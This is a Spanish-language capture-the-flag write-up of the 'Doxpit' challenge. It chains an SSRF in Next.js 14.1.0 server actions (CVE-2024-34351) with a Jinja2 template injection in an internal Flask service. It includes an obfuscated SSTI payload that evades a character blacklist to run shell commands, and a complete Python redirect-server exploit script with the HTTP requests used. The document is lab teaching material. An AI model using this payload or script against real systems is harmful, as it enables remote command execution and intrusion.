Challenge Doxpit
Este reto consiste en una aplicación pública de Next.js vulnerable y un backend interno aislado de Flask y la solución consiste en encadenar un ataque de SSRF (CVE-2024-34351) para registrar un usuario y luego utilizarlo nuevamente para enviar un payload de SSTI ofuscado, evadiendo una lista negra de caracteres, para obtener la flag.
El análisis del código fuente comienza con el archivo package.json en el directorio de la interfaz, el cual revela el uso de la versión 14.1.0 de Next.js.
{
"name": "doxpit",
"version": "1.0.0",
"author": "lean",
"scripts": {
"dev": "next dev -p 1337",
"build": "next build",
"start": "next start -p 1337",
"lint": "next lint"
},
"dependencies": {
"blockies-ts": "1.0.0",
"bootstrap": "5.3.3",
"next": "14.1.0",
"react": "18",
"react-dom": "18"
},
"devDependencies": {
"@types/node": "20",
"@types/react": "18",
"@types/react-dom": "18",
"eslint": "8",
"eslint-config-next": "14.2.3",
"typescript": "5"
}
}
Esta versión específica es conocida por ser vulnerable a CVE-2024-34351, una falla relacionada con las acciones del servidor. Una inspección del archivo serverActions.tsx confirma la presencia de una acción de servidor que redirige a una ruta relativa.
"use server";
import { redirect } from "next/navigation";
export async function doRedirect() {
redirect("/error");
}
La combinación de la versión vulnerable de Next.js y la redirección relativa facilita la vulnerabilidad de SSRF.
Al revisar el backend interno de Flask, el enrutamiento definido en routes.py expone una posible vulnerabilidad de SSTI en el endpoint /home.
@web.route("/home", methods=["GET", "POST"])
@auth_middleware
def feed():
directory = request.args.get("directory")
if not directory:
dirs = os.listdir(os.getcwd())
return render_template("index.html", title="home", dirs=dirs)
if any(char in directory for char in invalid_chars):
return render_template("error.html", title="error", error="invalid directory"), 400
try:
with open("./application/templates/scan.html", "r") as file:
template_content = file.read()
results = scan_directory(directory)
template_content = template_content.replace("{{ results.date }}", results["date"])
template_content = template_content.replace("{{ results.scanned_directory }}", results["scanned_directory"])
return render_template_string(template_content, results=results)
La ruta /home renderiza dinámicamente el contenido desde un archivo usando render_template_string, sustituyendo parámetros como results["scanned_directory"] en la plantilla. Sin embargo, un análisis del archivo de utilidades general.py demuestra que la entrada del usuario está sujeta a un filtro de lista negra.
import os
from faker import Faker
fake = Faker()
generate = lambda x: os.urandom(x).hex()
invalid_chars = ["{{", "}}", ".", "_", "[", "]","\\", "x"]
def generate_user():
return fake.user_name()
La lista negra bloquea múltiples caracteres comúnmente utilizados en payloads de SSTI en Jinja2, tales como {{, }}, ., _, [, ], \, y x. El acceso directo al servicio interno está restringido, lo que determina que ambas vulnerabilidades deben ser encadenadas para comprometer la aplicación. Es necesario construir un payload de SSTI diseñado para evadir esta lista negra. A partir de un payload estándar, se puede crear una versión ofuscada utilizando cadenas de formato en Jinja2 y el objeto lipsum para evitar los caracteres prohibidos.
El payload original se estructura de la siguiente forma:
{% print(lipsum.__globals__['os'].popen('id').read()) %}
Reemplazando los caracteres bloqueados por sus respectivos códigos y concatenando cadenas, el payload se adapta para superar las restricciones impuestas por el filtro:
'{% print(lipsum|attr("%c%c"|format(95,95) ~ "globals" ~ '
'"%c%c"|format(95,95))|attr("%c%c"|format(95,95) ~ '
'"getitem" ~ "%c%c"|format(95,95))("os")|attr("popen")'
'("cat /flag*")|attr("read")()) %}'
Para llevar a cabo el ataque, se desarrolla un servidor de retransmisión de dos etapas en Python. El script maneja tanto la fase de registro a través del SSRF como la posterior fase de explotación del SSTI, redirigiendo dinámicamente las solicitudes entrantes hacia los endpoints internos de Flask.
#!/usr/bin/env python3
import argparse
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import quote
USER = "fu11shoot"
PASS = "fu11shoot123"
TOKEN = ""
SSTI_PAYLOAD = (
'{% print(lipsum|attr("%c%c"|format(95,95) ~ "globals" ~ '
'"%c%c"|format(95,95))|attr("%c%c"|format(95,95) ~ '
'"getitem" ~ "%c%c"|format(95,95))("os")|attr("popen")'
'("cat /flag*")|attr("read")()) %}'
)
class Register(BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-Type", "text/x-component")
self.end_headers()
def do_GET(self):
url_register = (
f"http://127.0.0.1:3000/register"
f"?username={quote(USER)}"
f"&password={quote(PASS)}"
)
print("Redirecting to the internal register")
self.send_response(302)
self.send_header("Location", url_register)
self.end_headers()
class Exploit(BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-type", "text/x-component")
self.end_headers()
def do_GET(self):
url_home = (
f"http://127.0.0.1:3000/home"
f"?token={TOKEN}"
f"&directory={quote(SSTI_PAYLOAD)}"
)
print("Redirecting to the exploit payload")
self.send_response(302)
self.send_header("Location", url_home)
self.end_headers()
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="DoxPit Exploitation Script")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument(
"--register", action="store_true",
help="Start the SSRF Registration server")
group.add_argument(
"--exploit", action="store_true",
help="Start the SSTI Exploit server")
args = parser.parse_args()
port = 9999
if args.register:
print(f"[*] Starting SSRF Register server on port {port}...")
server = HTTPServer(("0.0.0.0", port), Register)
server.serve_forever()
elif args.exploit:
print(f"[*] Starting SSTI Exploit server on port {port}...")
server = HTTPServer(("0.0.0.0", port), Exploit)
server.serve_forever()
El proceso de explotación inicia ejecutando el servidor de retransmisión en modo de registro a través del puerto 9999.
$ python3 exploit.py --register
[*] Starting SSRF Register server on port 9999...
El servidor local es expuesto a internet empleando cloudflared, proporcionando una URL pública con la cual la acción de servidor vulnerable de Next.js puede interactuar.
$ cloudflared tunnel --url http://127.0.0.1:9999
2026-06-30T18:01:50Z INF Thank you for trying Cloudflare Tunnel. Doing so, without a Cloudflare account, is a quick way to experiment and try it out. However, be aware that these account-less Tunnels have no uptime guarantee, are subject to the Cloudflare Online Services Terms of Use (https://www.cloudflare.com/website-terms/), and Cloudflare reserves the right to investigate your use of Tunnels for violations of such terms. If you intend to use Tunnels in production you should use a pre-created named tunnel by following: https://developers.cloudflare.com/cloudflare-one/connections/connect-apps
2026-06-30T18:01:50Z INF Requesting new quick Tunnel on trycloudflare.com...
2026-06-30T18:01:54Z INF +--------------------------------------------------------------------------------------------+
2026-06-30T18:01:54Z INF | Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |
2026-06-30T18:01:54Z INF | https://water-importantly-transparent-abc.trycloudflare.com |
2026-06-30T18:01:54Z INF +--------------------------------------------------------------------------------------------+
2026-06-30T18:01:54Z INF Cannot determine default configuration path. No file [config.yml config.yaml] in [~/.cloudflared ~/.cloudflare-warp ~/cloudflare-warp /etc/cloudflared /usr/local/etc/cloudflared]
2026-06-30T18:01:54Z INF Version 2026.6.1 (Checksum c3a9a18354a4226bc18e65929f27cd19b86aacc1ba724bd646ea8396e5c4cb98)
2026-06-30T18:01:54Z INF GOOS: linux, GOVersion: go1.26.4-X:nodwarf5, GoArch: amd64
2026-06-30T18:01:54Z INF Settings: map[ha-connections:1 protocol:quic url:http://127.0.0.1:9999]
...
Se envía una solicitud HTTP POST a la aplicación objetivo de Next.js, especificando el túnel de cloudflared como host para desencadenar el SSRF y alcanzar el endpoint de registro en la aplicación interna de Flask.
POST / HTTP/1.1
Host: water-importantly-transparent-abc.trycloudflare.com
Next-Action: 0b0da34c9bad83debaebc8b90e4d5ec7544ca862
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: text/plain:charset=UTF-8
Accept: text/x-component
Content-Length: 2
[]
El backend de Flask procesa el registro y devuelve una respuesta que contiene un token de autenticación válido.
...
<span>User created with token: 1301052e09541cc6d6fe17c2541b2b95</span>
...
Tras obtener el token de autenticación, se modifica el script de retransmisión en Python para incluir este nuevo valor, lo que le permite autenticarse frente al endpoint /home y entregar el payload del SSTI.
#!/usr/bin/env python3
import argparse
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import quote
USER = "fu11shoot"
PASS = "fu11shoot123"
TOKEN = "1301052e09541cc6d6fe17c2541b2b95"
SSTI_PAYLOAD = (
'{% print(lipsum|attr("%c%c"|format(95,95) ~ "globals" ~ '
'"%c%c"|format(95,95))|attr("%c%c"|format(95,95) ~ '
'"getitem" ~ "%c%c"|format(95,95))("os")|attr("popen")'
'("cat /flag*")|attr("read")()) %}'
)
class Register(BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-Type", "text/x-component")
self.end_headers()
def do_GET(self):
url_register = (
f"http://127.0.0.1:3000/register"
f"?username={quote(USER)}"
f"&password={quote(PASS)}"
)
print("Redirecting to the internal register")
self.send_response(302)
self.send_header("Location", url_register)
self.end_headers()
class Exploit(BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-type", "text/x-component")
self.end_headers()
def do_GET(self):
url_home = (
f"http://127.0.0.1:3000/home"
f"?token={TOKEN}"
f"&directory={quote(SSTI_PAYLOAD)}"
)
print("Redirecting to the exploit payload")
self.send_response(302)
self.send_header("Location", url_home)
self.end_headers()
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="DoxPit Exploitation Script")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument(
"--register", action="store_true",
help="Start the SSRF Registration server")
group.add_argument(
"--exploit", action="store_true",
help="Start the SSTI Exploit server")
args = parser.parse_args()
port = 9999
if args.register:
print(f"[*] Starting SSRF Register server on port {port}...")
server = HTTPServer(("0.0.0.0", port), Register)
server.serve_forever()
elif args.exploit:
print(f"[*] Starting SSTI Exploit server on port {port}...")
server = HTTPServer(("0.0.0.0", port), Exploit)
server.serve_forever()
El servidor de retransmisión se reinicia, esta vez en modo de explotación.
$ python3 exploit.py --exploit
[*] Starting SSTI Exploit server on port 9999...
Nuevamente, el servidor es expuesto utilizando cloudflared.
$ cloudflared tunnel --url http://127.0.0.1:9999
2026-06-30T18:32:25Z INF Thank you for trying Cloudflare Tunnel. Doing so, without a Cloudflare account, is a quick way to experiment and try it out. However, be aware that these account-less Tunnels have no uptime guarantee, are subject to the Cloudflare Online Services Terms of Use (https://www.cloudflare.com/website-terms/), and Cloudflare reserves the right to investigate your use of Tunnels for violations of such terms. If you intend to use Tunnels in production you should use a pre-created named tunnel by following: https://developers.cloudflare.com/cloudflare-one/connections/connect-apps
2026-06-30T18:32:25Z INF Requesting new quick Tunnel on trycloudflare.com...
2026-06-30T18:32:28Z INF +--------------------------------------------------------------------------------------------+
2026-06-30T18:32:28Z INF | Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |
2026-06-30T18:32:28Z INF | https://thesis-employ-images-root.trycloudflare.com |
2026-06-30T18:32:28Z INF +--------------------------------------------------------------------------------------------+
2026-06-30T18:32:28Z INF Cannot determine default configuration path. No file [config.yml config.yaml] in [~/.cloudflared ~/.cloudflare-warp ~/cloudflare-warp /etc/cloudflared /usr/local/etc/cloudflared]
2026-06-30T18:32:28Z INF Version 2026.6.1 (Checksum c3a9a18354a4226bc18e65929f27cd19b86aacc1ba724bd646ea8396e5c4cb98)
2026-06-30T18:32:28Z INF GOOS: linux, GOVersion: go1.26.4-X:nodwarf5, GoArch: amd64
2026-06-30T18:32:28Z INF Settings: map[ha-connections:1 protocol:quic url:http://127.0.0.1:9999]
...
Se realiza una solicitud HTTP final a través de la aplicación de Next.js, enrutándola por el nuevo túnel de cloudflared para activar el payload de SSTI en el servicio interno de Flask.
POST / HTTP/1.1
Host: thesis-employ-images-root.trycloudflare.com
Next-Action: 0b0da34c9bad83debaebc8b90e4d5ec7544ca862
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: text/plain:charset=UTF-8
Accept: text/x-component
Content-Length: 2
[]
La aplicación de Flask procesa el payload malicioso, ejecuta el comando para leer el archivo de la flag y devuelve su contenido dentro de la página de respuesta.
...
<p><strong>Scanned Directory:</strong> HTB{FLAG}</p>
...
La ejecución exitosa del comando confirma la evasión de la lista negra, revelando en última instancia la flag y concluyendo el challenge.